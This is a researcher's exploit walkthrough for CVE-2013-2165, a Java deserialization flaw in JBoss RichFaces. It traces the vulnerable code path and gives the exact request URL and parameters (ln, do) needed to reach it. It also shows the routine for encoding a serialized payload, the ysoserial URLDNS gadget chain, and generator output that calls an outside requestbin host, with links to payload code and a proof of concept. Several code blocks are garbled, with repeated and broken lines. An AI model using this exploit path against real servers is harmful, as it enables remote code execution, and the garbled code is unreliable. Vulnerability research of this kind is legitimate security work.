CVE-2013-2165

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Description

ResourceBuilderImpl.java in the RichFaces 3.x through 5.x implementation in Red Hat JBoss Web Framework Kit before 2.3.0, Red Hat JBoss Web Platform through 5.2.0, Red Hat JBoss Enterprise Application Platform through 4.3.0 CP10 and 5.x through 5.2.0, Red Hat JBoss BRMS through 5.3.1, Red Hat JBoss SOA Platform through 4.3.0 CP05 and 5.x through 5.3.1, Red Hat JBoss Portal through 4.3 CP07 and 5.x through 5.2.2, and Red Hat JBoss Operations Network through 2.4.2 and 3.x through 3.1.2 does not restrict the classes for which deserialization methods can be called, which allows remote attackers to execute arbitrary code via crafted serialized data.

nvd.nist.gov

Find vulnerable entry point

As a method provided by <a>@tint0

Getting some info about the CVE through the Richfaces developer's blog at http://www.bleathem.ca/blog/richfaces-security-advisory-cve-2013-2165/ and see that the bug is fixed in Richfaces 4.3.3.

Make a <u>diff</u> between the two Richfaces 4.3.3 and 4.3.2 to find the vulnerable code. We could see that the only difference in the diff is a code change fixing deserialization issue.

The vulnerability is located in org.RichFacess.util.Util#DecodeObjectData:

```
public static Object decodeObjectData(String encodedData) {

byte[] objectArray = decodeBytesData(encodedData);

try {

ObjectInputStream in = new ObjectInputStreamImpl(new ByteArrayInputStream(oreturn in.readObject();

} catch (StreamCorruptedException var3) {

RESOURCE_LOGGER.error(Messages.getMessage(name: "STREAM_CORRUPTED_ERROR");

} catch (IOException var4) {

RESOURCE_LOGGER.error(Messages.getMessage(name: "DESERIALIZE_DATA_INPUT_ERGOR Catch (ClassNotFoundException var5) {

RESOURCE_LOGGER.error(Messages.getMessage(name: "DATA_CLASS_NOT_FOUND_ERROR");

} catch (ClassNotFoundException var5) {

RESOURCE_LOGGER.error(Messages.getMessage(name: "DATA_CLASS_NOT_FOUND_ERROR");

} return null;

}
```

Reach the vulnerable entry point

Examine data flow

Requests for resources always pass through
 org.RichFacess.resource.ResourceHandlerImpl#handleResourceRequest

1. Line 108 calls

org.RichFacess.resource.ResourceHandlerImpl#getResourcePathFromRequest

```
public static String getResourcePathFromRequest(FacesContext
   context) {
           String resourceName = Util.decodeResourceURL(context);
2
3
           if (resourceName != null) {
               return resourceName.startsWith("/rfRes/") ?
4
   resourceName.substring("/rfRes/".length()) : null;
5
           } else {
               LOGGER.warn("Resource key not found" + resourceName);
6
7
               return null;
8
           }
9
       }
```

Requirement 1: Uri for resource in format /rfRes/<resource name>

2. **Line 119** calls org.RichFacess.resource.ResourceFactoryImpl#createReource if the resource variable is null - doesn't exist in cache (it usually doesn't).

1. **Line 218** calls

org.RichFacess.resource.ResourceFactoryImpl#createDynamicResoure

<u>Requirement 2</u>: The resource name provided in uri as /rfRes/<resource name> must exist.

Look at the method, we can see that it use <code>libraryName</code> and <code>resourceName</code> to check whether it matches a key in

ResourceFactoryImpl.mappedResourceDataMap:

"org.richfaces.images:chevronDown.png" -> {ResourceFactory "org.richfaces.images:triangleLeftDisabled.png" -> {ResourceFactory "org.richfaces.images:buttonHoverBackgroundImage.png" -> "org.richfaces.images:chevronDownDisabled.png" -> {ResourceFactoryIm" org.richfaces.images:chevronLeft.png" -> {ResourceFactoryIm" org.richfaces.images:chevronDisabled.png" -> {ResourceFactoryImpl\$ "org.richfaces.images:chevronDisabled.png" -> {ResourceFactoryImpl\$ "org.richfaces.images:inputBackgroundImage.png" -> {ResourceFactoryImpl\$ "org.richfaces.images:buttonDisabled.png" -> {ResourceFactoryImpl\$ "org.richfaces.images:triangleUpDisabled.png" -> {ResourceFactoryImpl\$ Map "org.richfaces.images:chevronUpDisabled.png" -> {ResourceFactoryImpl\$ Map "org.richfaces.images:chevronUpDisabled.png" -> {ResourceFactoryImpl\$ Map "org.richfaces.images:inputErrorlcon.png" -> {ResourceFactoryImpl\$ Map "org.richfaces.images:triangleUp.png" -> {ResourceFactoryImpl\$ Org.richfaces.images:triangleUp.png" -> {ResourceFactoryImpl\$ Org.richfaces.images:triangleUp.png" -> {ResourceFactoryImpl\$ Org.richfaces.images:chevronLeftDisabled.png" -> {Re

- resourceName is <resource name>
- libraryName is the value of parameter ln.

Requirement 3: provide parameter In=org.richfaces.images

So as to have existed resource, we can provide /chevronDown.png.jsf? In=org.richfaces.images.

2. **Line 237**. Method

org.RichFacess.resource.DefaultCodecResourceRequestData#getData Check if this.isDataSerialized is true, then call [Util#decodeObjectData, which is the vulnerable entry point.

```
public Object getData() {

if (this.data == null && this.dataString != null) {

if (this.isDataSerialized()) {

this.data = Util.decodeObjectData(this.dataString);

} else {

this.data = Util.decodeBytesData(this.dataString);

}

return this.data;

}

return this.data;

}
```

Values for <code>isDataSerialized</code> and <code>dataString</code> are set by below function which is called in line 112 of

org.RichFacess.resource.ResourceHandlerImpl#handleResourceRequest:

Requirement 4: Provide parameter do=<serialized data>

Conclusion

Requirements:

- Uri must be in format /rfRes/<resource name>
 - <resoure name> can be one of these (and more):

"org.richfaces.images:chevronDown.png" -> {ResourceFactory."
"org.richfaces.images:buttonHoverBackgroundImage.png" -> {ResourceFactory."
"org.richfaces.images:chevronDownDisabled.png" -> {ResourceFactory.!"
"org.richfaces.images:chevronLeft.png" -> {ResourceFactory.!"
"org.richfaces.images:chevronDisabled.png" -> {ResourceFactory.!!
"org.richfaces.images:chevronDisabled.png" -> {ResourceFactory.!!
"org.richfaces.images:buttonBackgroundImage.png" -> {ResourceFactory.!!
"org.richfaces.images:buttonDisabled.png" -> {ResourceFactory.!!
"org.richfaces.images:buttonDisabled.png" -> {ResourceFactory.!!
"org.richfaces.images:chevronUpDisabled.png" -> {ResourceFactory.!!
"org.richfaces.images:chevronUpDisabled.png" -> {ResourceFactory.!!
"org.richfaces.images:triangleUpDisabled.png" -> {ResourceFactory.!!
"org.richfaces.images:triangleUpDisabled.png" -> {ResourceFactory.!!
"org.richfaces.images:triangleUp.png" -> {ResourceFactory.!!
"org.richf

- Provide parameter In=org.richfaces.images
- Provide parameter do=<serialized data>

Payload:

```
1 /rfRes/chevronDown.png.jsf?ln=org.richfaces.images&do=<serialied object
payload>
```

Exploit

Craft payload

In JBoss RichFaces 's deserialization procedure, there is a decryption phrase

```
protected static byte[] decrypt(byte[] src) {

try {

byte[] zipsrc = CODEC.decode(src);

Inflater decompressor = new Inflater();

byte[] uncompressed = new byte[zipsrc.length * 5];

decompressor.setInput(zipsrc);

int totalOut = decompressor.inflate(uncompressed);

byte[] out = new byte[totalOut];

System.arraycopy(uncompressed, surpost 0, out, demPost 0, totalOut);

decompressor.end();

return out;

} catch (Exception var6) {

throw new FacesException("Error decode resource data", var6);
}

public static byte[] decodeBytesData(String encodedData) {

byte[] objectArray = null;

try {

byte[] dataArray = encodedData.getBytes( chasseNamec "ISO-8859-1");

objectArray = decrypt(dataArray);
} catch (UnsupporteotencodingException var3) {

}

public static Object decodeObjectData(String encodedData);

try {

byte[] objectArray = decodeBytesData(encodedData);

try {

condition of the static object decodeObjectData(String encodedData);

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condition of the static object decodeObjectData(String encodedData);

try {

condition of the static object decodeObjectData(String encodedData);

condition of the static object decodeObject
```

This means the string representing serialized object is encrypted; Thus, we have to perform appropriate method of encryption. Fortunately, org.richfaces.util.util class defines the encrypting functions so that we can reuse them.

```
protected static byte[] encrypt(byte[] src) {
    try {
        Deflater compressor = new Deflater(1);
        byte[] compressed = new byte[src.length + 100];
```

```
5
                 compressor.setInput(src);
 6
                 compressor.finish();
 7
                 int totalOut = compressor.deflate(compressed);
 8
                 byte[] zipsrc = new byte[totalOut];
 9
                 System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
10
                 compressor.end();
                 return CODEC.encode(zipsrc);
11
12
            } catch (Exception var5) {
13
                throw new FacesException("Error encode resource data", var5);
14
            }
        }
15
16
    public static String encodeBytesData(byte[] data) {
17
            if (data != null) {
18
19
                try {
20
                    byte[] dataArray = encrypt(data);
21
                     return new String(dataArray, "ISO-8859-1");
22
                } catch (Exception var2) {
23
    RESOURCE_LOGGER.error(Messages.getMessage("QUERY_STRING_BUILDING_ERROR"),
    var2);
24
                 }
25
            }
26
27
            return null;
28
        }
```

In terms of exploiting Insecure Deserialization, we use **URLDNS** chain consulted from <u>ysoserial</u>. This chain exploit deserialization vulnerability to make <u>url</u> request:

```
// DNS Gadget Chain:
   java.util.HashMap.readObject()
   java.util.HashMap.putVal( HashMap.hash() )
   java.net.URL.hashCode(String url)
```

Code for generating payload:

https://github.com/kiven7299/Java-Deserialization/blob/master/CVE-2013-2165/payload_generator/src/main/java/PayloadGenerator.java

Snapshot:

```
"C:\Program Files\Java\jdk1.8.0_211\bin\java.exe" ...

generating payload object(s) for command: 'https://.e301d785133ebbebd5a3.d.requestbin.net'
serializing payload

Payload: eAGNjjFOw0AQRQccKw5KARQU9FCuiawQBAVIkSIsmQZEzzq7yRqtvJvZMTgNx-AUXAJxAtrUtNwACdaWD8CXZvSu-gyfA58nvXz5aXDVtZKYnd32avR5PTw58vDKCfQqS8fGqETKFnDVIGA16RMljQmmA
!a4qx5uUyviMsyuVFBr1FoeUKXiDwrIyjjiOLhszc6O4OUC5arO1vF4JjJpOTkZicjUdJIvNc5mLMEyYYylUlHeVFyfyfBN

Process finished with exit code 0
```

PoC

https://drive.google.com/open?id=1Nd1sjFW731cMffUiBgl_UtOMJQV5UFaJ